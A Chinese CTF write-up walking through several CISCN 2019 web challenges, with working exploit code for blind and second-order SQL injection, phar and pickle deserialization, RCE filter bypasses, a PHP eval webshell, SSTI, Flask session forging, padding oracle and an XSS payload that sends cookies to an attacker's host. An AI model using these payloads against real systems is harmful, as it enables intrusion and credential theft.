CISCN-2019-web復現(xiàn)(完)

原來國賽就是CISCN......buuoj上題目挺全的,干脆選一些比較有價值的題目復現(xiàn)下:

Hack World(盲注)

簡單的布爾盲注題,簡單FUZZ一下發(fā)現(xiàn)是數(shù)值型注入。同時過濾了and,or,union空格等等?;仫@可以判斷正誤,考慮是布爾盲注。payload直接用if分流即可。空格可以%0a繞過,也可以直接括號括起來(之前總結(jié)過)
exp:

import requests

#flag{3de016a6-fb79-4b56-a2fb-ea24bc26083f}
url='http://18733385-8c1b-4df7-88f0-1fb70bb6c05b.node3.buuoj.cn/index.php'
flag=''
for i in range(1,50):
    print(i)
    a=0
    for j in range(32,128):
        payload="if(ascii(substr((select%0aflag%0afrom%0aflag),"+str(i)+",1))="+str(j)+",1,2)"
        data = {
            'id': payload
        }
        res=requests.post(url,data=data)
        if 'Hello' in res.text:
            flag+=chr(j)
            print(flag)
            a=1
            break
    if a==0:
        break

Dropbox(phar反序列化)

題目屬于php反序列化。感覺國賽的題目確實質(zhì)量很高,這里的反序列化利用看了源碼不少時間才找出利用。趕緊記錄下。
首先進來注冊賬號登陸。發(fā)現(xiàn)有文件上傳點。順手傳個一句話圖片馬,發(fā)現(xiàn)沒有過濾。然后提供了對圖片的下載與刪除功能。此時依次嘗試一下,發(fā)現(xiàn)下載功能的filename允許任意文件下載,于是直接拿到index.php的源碼,接著可以拿到其他關(guān)鍵源碼,發(fā)現(xiàn)是php反序列化,開始審計。
index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>
<?php echo $_SESSION['username']?>

<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">???è??</a> / <a href="#" class="delete">?? é?¤</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

審計源碼第一反應(yīng)首先是sql注入。但是隨即發(fā)現(xiàn)不存在可控參數(shù),所以注入無果。接下來重心放在反序列化上。首先需要明確的是,我們源碼中并不存在unserialize()函數(shù),但是我們有文件上傳點。所以反序列化需要通過上傳phar文件并進行phar://偽協(xié)議觸發(fā)。

接下來尋找常見文件讀取函數(shù),注意到File類file_get_contents()方法

public function close() {
    return file_get_contents($this->filename);
}

確定是可以進行文件讀取了。接下來挖掘一下函數(shù)的調(diào)用。首先close()是File類的方法,而File類只在Filelist類中有調(diào)用過。但Filelist中并沒有調(diào)用close()方法的位置。此時需要注意Filelist類中的兩個魔術(shù)方法之一:

public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

它將Filelist類中的files數(shù)組全部遍歷了一遍,并執(zhí)行對應(yīng)的func()結(jié)果被存進result。之后的__destruct()方法則會將result等等結(jié)果打印出來。
這一條利用在于:確保了Filelist的對象如果能借此魔術(shù)方法調(diào)用close()方法,那么它最后銷毀時析構(gòu)函數(shù)會打印出我們需要的文件內(nèi)容。
之后再次審計,注意到User類的__destruct()方法

public function __destruct() {
        $this->db->close();
    }

原本只是一個同名close()函數(shù),但是此處卻存在著可利用之處。假如我們的文件上傳的是User類的對象。銷毀時自然會執(zhí)行close()函數(shù)。但如果把db設(shè)置為Filelist類的對象,那么db->close()執(zhí)行時將找不到close()函數(shù),進而執(zhí)行其files數(shù)組里的每一個函數(shù)。那么如果files數(shù)組里是存在同名函數(shù)close的File類對象,就能成功執(zhí)行文件讀取。
找到利用鏈后,exp如下:

<?php
class User {
    public $db;
}

class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}


@unlink("phar.phar");
$phar = new Phar("a.phar"); 
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

生成的a.phar修改后綴上傳,之后需要找觸發(fā)方式,此處需要注意一點,在download.php中,設(shè)置了目錄:

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

而只有delete.php中的目錄是在題目給定的文件上傳沙盒中的:

chdir($_SESSION['sandbox']);

故只有delete操作能直接phar://觸發(fā)反序列化。

flag

(這里的文件讀取flag.txt是傳統(tǒng)藝能?每次題目都沒交代)

ikun(python反序列化)

結(jié)合了很多知識點的一道題目,但是最后一步的python反序列化確實不會,只好去找了找wp。(本來之前打算學下python反序列化的,結(jié)果搞忘了hhh)

首先登陸題目發(fā)現(xiàn)在迫害cxk,同時底下有許多商品提示需要購買lv6的商品。但是看了半天前幾頁并沒找到lv6商品,由于頁數(shù)page直接get傳值,看來需要腳本爆破一下:

import requests
url='http://2c771d3e-86f0-4f72-9815-f19dcb4fd51a.node3.buuoj.cn/shop?page='

for i in range(0,2000):
    r=requests.get(url+str(i))
    if 'lv6.png' in r.text:
        print (i)
        break

之后發(fā)現(xiàn)lv6商品,加入到購物車后,準備注冊賬號并登錄購買。顯然錢數(shù)是不夠的,但是卻有折扣這一參數(shù)被直接post傳值。那么修改其值足夠小即可。得到一個目錄b1g_m4mber。應(yīng)該是后臺地址。
訪問網(wǎng)址提示需要admin操作權(quán)限。這里抓包一下,發(fā)現(xiàn)cookie里居然有JWT。看來是比較常見的JWT偽造認證了。
(之前在hackthebox某一臺靶機中就存在仿造JWT登錄的操作,應(yīng)該說并不難,而且比較好理解)
先拿來base64解碼,發(fā)現(xiàn)存在亂碼??赡苁且驗榧恿他}值key的原因。那么第一步先爆破下key值:
https://github.com/brendan-rius/c-jwt-cracker

1.PNG

得到JWTKey 為1Kun,接下來上https://jwt.io/
去生成admin的jwt token.
jwt偽造

可以看到j(luò)wt-token一定是xxx.yyy.zzz的形式。且三段各自代表header,paylaod,signature的json數(shù)據(jù)內(nèi)容經(jīng)base64處理。爆破key值修改paylload為admin也是家常便飯。
控制臺里修改

document.cookie="JWT=xxxxxxxxxxx"

成功登陸。

之后發(fā)現(xiàn)源碼存在www.zip??梢阅玫皆创a。然后我就不會了.......
查wp后發(fā)現(xiàn)是python反序列化。具體漏洞在Admin.py:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

become可控。
這里其實可以把pickle.loads的操作理解為反序列化。而__reduce__這一魔術(shù)方法會在對象被pickle時調(diào)用。從而可以構(gòu)造payload:

import pickle
import urllib
class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a= urllib.quote(a)
print(a)

這里我的exp在本機跑出來結(jié)果不知為何是錯的。只有用kali才跑出正確的結(jié)果


exp

傳值拿flag


flag

Love Math(構(gòu)造RCE)

源碼:

<?php
error_reporting(0);
//聽說你很喜歡數(shù)學,不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太長了不會算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("請不要輸入奇奇怪怪的字符");
        }
    }
    //常用數(shù)學函數(shù)http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("請不要輸入奇奇怪怪的函數(shù)");
        }
    }
    //幫你算出答案
    eval('echo '.$content.';');
}

題目很有意思,達成目的顯然是RCE。但是可以發(fā)現(xiàn)過濾了很多字符與函數(shù),限制了長度。而白名單內(nèi)的函數(shù)全部是數(shù)學函數(shù),黑名單的字符過濾了常見標點。現(xiàn)在要達成RCE需要繞過上的奇淫技巧。

首先有一種思路是分開傳值 ,我個人也比較偏好這種做法。具體形式大致是

?c=$_GET[a]&a=system('ls');

但是此題首先變量名不能隨意,只能從白名單中找出可用數(shù)學符號作為變量名。此處考慮長度使用pi。
然后是考慮,在_GET[]被過濾的情況下能使用什么數(shù)學函數(shù)達成構(gòu)造字符串的目的。這里應(yīng)該首先考慮進制轉(zhuǎn)換函數(shù),因為10進制以上的數(shù)都有英文字母作為數(shù)碼。而假如是36進制數(shù)的話,將會擁有1~10加上26個英文字母作為數(shù)碼,這足以我們拼湊出payload。
假如payload是:

?c=($_GET){0}($_GET){1};&0=system&1=cat /flag

那么我們只需構(gòu)造出_GET字符串。
具體倒推方法如下:

_GET->bin2hex('_GET')->5f474554
->hexdec('5f474554')->1598506324#純數(shù)字
#需要構(gòu)造hex2bin()
base_convert('hex2bin',36,10)->37907361743

所以

$pi=base_convert(37907361743,10,36)(dechex(1598506324));
$pi=hex2bin(5f474554);
$pi=_GET;
$$pi=$_GET;

故最后payload

/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag
flag

除此之外還可以構(gòu)造

exec(getallheaders(){1})

在headers里加上1:cat /flag這一項執(zhí)行

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

由于結(jié)果是echo返回的,上面使用逗號可以將兩個結(jié)果都打印出來。
其他思路包括直接構(gòu)造RCE語句,但是感覺沒有上面的方法用起來舒服??吹骄W(wǎng)上還有其他非常有意思的解法,就不一一列舉了。

CyberPunk(二次注入)

上來index.php中給了姓名,電話,地址三個框來填。同時還有三個功能:查詢,修改,刪除。由于查詢這一個操作都只要姓名電話,我猜測剩下的地址這個參數(shù)可能是通過輸入姓名電話對地址進行某種觸發(fā)式注入。基本可以猜測是sql注入題型。

從源碼處得到一個file參數(shù)。果斷文件包含讀到源碼:
index.php

<?php

ini_set('open_basedir', '/var/www/html/');

$file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

search.php

<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 電話:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到訂單!";
    }
}else {
    $msg = "信息不全";
}
?>

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "訂單修改成功";
    } else {
        $msg = "未找到訂單!";
    }
}else {
    $msg = "信息不全";
}
?>

delete.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "訂單刪除成功";
    } else {
        $msg = "未找到訂單!";
    }
}else {
    $msg = "信息不全";
}
?>

審計源碼后重點關(guān)注address有無注入,發(fā)現(xiàn)題目都只對前兩個參數(shù)進行了過濾,并未檢查address。同時address只經(jīng)過了一次addslashes()就被存儲,這是經(jīng)典的二次注入的使用場景。加上觸發(fā)方式:

if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;

回顯以error的形式被打印出來,證明我們需要使用報錯注入。
具體形式是,我們提交姓名,電話,地址三個參數(shù),并在地址使用報錯注入。之后在change.php再次提交相同姓名電話與隨便寫地址,即可觸發(fā)update執(zhí)行報錯注入。根據(jù)update語句構(gòu)造payload:

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

貌似題目flag不在庫里,看wp發(fā)現(xiàn)是/flag.txt。有點迷惑。需要注意報錯注入字段數(shù)的限制,調(diào)整substr()的后兩個參數(shù)。

第一部分先寫這么多,過段時間把題目刷完。

來了來了,第二部分繼續(xù)

Easyweb(布爾盲注)

開始從robots.txt得到的image.php.bak的源碼泄露信息

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

發(fā)現(xiàn)有sql注入點,主要要應(yīng)對兩個參數(shù)的過濾

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

考慮使用\0,并在path中注入。這樣我們的sql語句就變成了:

select * from images where id=' or path=' or 1=1#

剩下的布爾盲注即可

import requests

flag=''


for i in range(1,50):
    a=0
    print(i)#ciscnfinal, images,users
    for j in range(32, 128):#select group_concat(column_name) from information_schema.columns where table_name=database()
        #url = "http://b086efbf-5393-4974-b79d-0608047a11b0.node3.buuoj.cn/image.php?id=\\0&path=or%20id=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),"+str(i)+",1))="+str(j)+",1,0)%23"
        url = "http://b086efbf-5393-4974-b79d-0608047a11b0.node3.buuoj.cn/image.php?id=\\0&path=or%20id=if(ascii(substr((select group_concat(password) from users),"+str(i)+",1))="+str(j)+",1,0)%23"
        res = requests.get(url)
        if 'JFIF' in res.text:
            flag += chr(j)
            print(flag)
            a = 1
            break
    if a==0:
        break

注入得到username與password登錄進入后臺。發(fā)現(xiàn)一個文件上傳點。簡單fuzz下發(fā)現(xiàn)文件名會被存儲到固定php日志文件中logs/upload.b888aaa68e9659c297c4b02084157cff.log.php
既然如此只需上傳一句話。發(fā)現(xiàn)php關(guān)鍵字被攔。
使用短標簽繞過:

<?=@eval($_GET['byc']);?>

這是因為

//php.ini中
short_open_tag = On
 
//除<?php ?>,可使用更靈活的調(diào)用方法
<? /*程序操作*/ ?>
<?=/*函數(shù)*/?>

bypass掉后執(zhí)行命令system('cat /flag');即可

華東南賽區(qū) Web11(模板注入)

這題開始看的我賊奇怪,因為整個網(wǎng)站貌似只是一個api接口。其中回顯有一部分十分顯眼

xff

開始考慮是否存在關(guān)于xff頭的信息。但是沒測出來。去網(wǎng)上搜了波wp恍然大悟。原來關(guān)鍵點在網(wǎng)頁下方提示的Build With Smarty !
Smarty是一種php網(wǎng)頁引擎,也存在如pythonjinja2的ssti注入。

同時其使用方法如{if cmd}{/if}可以執(zhí)行命令。
所以首先bp里更改xff包,嘗試{{1+1}},發(fā)現(xiàn)注入成功;
之后直接任意命令執(zhí)行即可拿到flag

{file_get_contents('/flag')}
flag

華東北賽區(qū) Web2(存儲型xss+sql注入)

題目算是比較傳統(tǒng)的xss觸發(fā)模式了。注冊登錄后一個輸入框允許我們使用xsspayload,還有一個界面輸入驗證碼后觸發(fā)bot閱讀。我們目標就是打到admin的cookie。

首先嘗試性彈個窗,結(jié)果在頁面里看到個自己有心理陰影的CSP限制。

<meta http-equiv="content-security-policy" content="default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'">

好在csp規(guī)則不算比較嚴格。因為'unsafe-inline' 'unsafe-eval'允許我們加載一段內(nèi)聯(lián)js代碼執(zhí)行。而解決這個的辦法只需使用window.location.href就可繞過。這里因為有buuoj提供的xss平臺,所以直接用生成的代碼打一打看看。發(fā)現(xiàn)有過濾與轉(zhuǎn)換,估計得實體編碼繞過。
把xss平臺生成的payload改成實體編碼:(注意id值是生成代碼里的id,一開始以為是項目名id半天打不到)

(function(){window.location.href='http://ip:port/index.php?do=api&id=ex0I6K&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
<svg><script>實體編碼payload</script>

提交后訪問頁面,可以看到平臺是能收到cookie的,那就不需要關(guān)心其他的,直接去反饋頁面跑段腳本爆破驗證碼提交即可。等待bot點擊頁面,之后平臺收到cookie


cookie

修改登錄進入admin.php后臺,一個明顯的sql注入直接聯(lián)合查詢即可。3個字段,回顯第2,3個


flag

double secrect (ssti)

基本上唬人的成分比較大。因為一開始進入題目只有一句Welcome To Find Secret,之后訪問robots.txt發(fā)現(xiàn)居然報this is android ctf,讓我以為看錯題了。但其實訪問secret路由并傳參secret時,發(fā)現(xiàn)會有回顯。當回顯字數(shù)多的時候出現(xiàn)python報錯,可以猜測是ssti。這里我嘗試直接傳一段中文,其實ascii碼比較大的文字也會觸發(fā)報錯,爆出重要源碼:

RC4

原來是段加密,而且爆出的源碼連key值都給了。那么直接RC4加密我們的ssti payload基本就完事了。
exp:

import requests
import urllib

class RC4:
    def __init__(self, key):
        self.key = key
        self.key_length = len(key)
        self._init_S_box()

    def _init_S_box(self):
        self.Box = [i for i in range(256)]
        k = [self.key[i % self.key_length] for i in range(256)]
        j = 0
        for i in range(256):
            j = (j + self.Box[i] + ord(k[i])) % 256
            self.Box[i], self.Box[j] = self.Box[j], self.Box[i]

    def crypt(self, plaintext):
        i = 0
        j = 0
        result = ''
        for ch in plaintext:
            i = (i + 1) % 256
            j = (j + self.Box[i]) % 256
            self.Box[i], self.Box[j] = self.Box[j], self.Box[i]
            t = (self.Box[i] + self.Box[j]) % 256
            result += chr(self.Box[t] ^ ord(ch))
        return result

url='http://7318e5d2-ecf4-4961-b115-4f1eb3b11c4a.node3.buuoj.cn/secret?secret='
a = RC4('HereIsTreasure')
cmd="{{''.__class__.__mro__[2].__subclasses__()[40]('/flag.txt').read()}}"
payload = urllib.parse.quote(a.crypt(cmd))
res = requests.get(url + payload)
print(res.text)

華東南賽區(qū) Web4 (flask session cookie偽造)

被沒必要的情況給浪費了時間......主要是環(huán)境問題,心里苦啊。
首先題目給了一個參數(shù)可以讀取文件,由于路由名稱,先看下源碼app.py

# encoding:utf-8 
import re, random, uuid, 
urllib from flask 
import Flask, session, request 
app = Flask(__name__) 
random.seed(uuid.getnode()) 
app.config['SECRET_KEY'] = str(random.random()*233) 
app.debug = True @app.route('/') 
def index(): 
    session['username'] = 'www-data' 
    return 'Hello World! Read somethings' 


@app.route('/read') 
def read(): 
    try: url = request.args.get('url') 
         m = re.findall('^file.*', url, re.IGNORECASE) 
         n = re.findall('flag', url, re.IGNORECASE) 
         if m or n: return 'No Hack' 
            res = urllib.urlopen(url) 
            return res.read() 
    except Exception as ex: 
        print str(ex) 
        return 'no response' 


@app.route('/flag') 
def flag(): 
    if session and session['username'] == 'fuck': 
        return open('/flag.txt').read() 
    else: 
        return 'Access denied' 

if __name__=='__main__': 
    app.run( debug=True, host="0.0.0.0" )

可以看到只要偽造session['username']的值就可以拿到flag了。由于這里的隨機數(shù)種子SECRECT_KEY很輕松就可以偽造,所以直接上腳本爆破并生成cookie值

import flask_session_cookie_manager2
import random
mac = "02:42:ae:00:d0:09"
random.seed(int(mac.replace(":", ""), 16))
for x in range(1000):
    key = str(random.random() * 233)
    result = flask_session_cookie_manager2.FSCM.decode('eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.XljQxQ.zBqq36UiMEIrykW9oqSlvg4wBkw', key)
    if 'error' not in result:
        result[u'username'] = 'fuck'
        print flask_session_cookie_manager2.FSCM.encode(key, str(result))
        exit()

理論上改cookie就完事了,但是我白花了一個多小時,因為虛擬機的py2的環(huán)境有問題。期間還發(fā)現(xiàn),原來參數(shù)不變時生成的cookie也會因為時間原因而不同。當然這并不影響結(jié)果。只要是python2理論上就沒有問題。
最后還是在vps上跑的腳本才拿到flag......

PointSystem(PaddingOracle+cbc翻轉(zhuǎn))

題目難度挺大的,前后還拖了不少時間,最后參考了出題人趙師傅的wp才勉強寫出來的。其中涉及PaddingOracle+CBC翻轉(zhuǎn)攻擊的知識涉及密碼學,自己所知甚少,原來也只套過腳本做過一道paddingoracle的題目。所以先把解題過程放一下,抽空把padding oracle等等加密原理理解下。

首先題目從robots.txt中獲取信息,進入swagger-ui.html,可以看到有許多api接口的使用。

api

一開始嘗試能否直接在這個界面進行命令執(zhí)行,比如注冊或者ping之類的。但是發(fā)現(xiàn)并不可行。不過我們既然知道有注冊接口,直接按照格式利用接口注冊一個賬號就好了。
注冊后嘗試登錄,卻意外發(fā)現(xiàn)存在權(quán)限不夠的問題。

權(quán)限

但是在burpsuite中意外發(fā)現(xiàn)了除了一個登錄的post包,還有一個get請求了未知的api并返回信息。


info

將登錄所返回的一段base64進行解碼得到:

{"signed_key":"SUN4a1NpbmdEYW5jZVJhUHsFQR4ln5VFC9L09echkYhTWQgiwZohj27JWt98/+1ZOzOMzVHlzkkVTuw8vkgQOwMZ2B5Leaq0Gc+rzoKtQdjsiMrpsSBq/QvWKTHYKxBHN0JzlQd6bXhFdSUa4slA7g==","role":3,"user_id":1,"payload":"CHAkpjTggDemZY7gzXBvbR2WeXJ47cfj","expire_in":1582905111}

而前面的signed_key也進行base64解碼的話,會發(fā)現(xiàn)內(nèi)容由明文+密文組合起來了。說明有可能服務(wù)器采取cbc模式加密。我們要做的就是paddingoracle破解出結(jié)構(gòu)并cbc翻轉(zhuǎn)一下。
padding oracleexp:

import time
import requests
import base64
import json

host = "d46d6658-3bdd-48d9-8600-ee320a2a837a.node3.buuoj.cn"



def padding_oracle(key):
    user_key_decode = base64.b64decode(key)
    user_key_json_decode = json.loads(user_key_decode)
    signed_key = user_key_json_decode['signed_key']
    signed_key_decoded = base64.b64decode(signed_key)
    url = "http://" + host + "/frontend/api/v1/user/info"

    N = 16

    total_plain = ''
    for block in range(0, len(signed_key_decoded) // 16 - 1):
        print(block)
        token = ''
        get = b""
        cipher = signed_key_decoded[16 + block * 16:32 + block * 16]
        for i in range(1, N+1):
            for j in range(0, 256):
                time.sleep(0.2)
                padding = b"".join([(get[n] ^ i).to_bytes(1, 'little') for n in range(len(get))])
                c = b'\x00' * (16 - i) + j.to_bytes(1, 'little') + padding + cipher
                #print(c)
                token = base64.b64encode(c)
                user_key_json_decode['signed_key'] = token.decode("utf-8")
                header = {'Key': base64.b64encode(bytes(json.dumps(user_key_json_decode), "utf-8"))}
                res = requests.get(url, headers=header)
                if '少女' in res.text:
                    print('404 error occured!')
                    time.sleep(15.0)
                    res = requests.get(url, headers=header)
                if res.json()['code'] == 206:
                    get = (j ^ i).to_bytes(1, 'little') + get
                    print(i,get)
                    break

        plain = b"".join([(get[i] ^ signed_key_decoded[block * 16 + i]).to_bytes(1, 'little') for i in range(N)])
        print(plain.decode("utf-8"), "block=%d" % block)
        total_plain += plain.decode("utf-8")
        print(total_plain)

    return total_plain

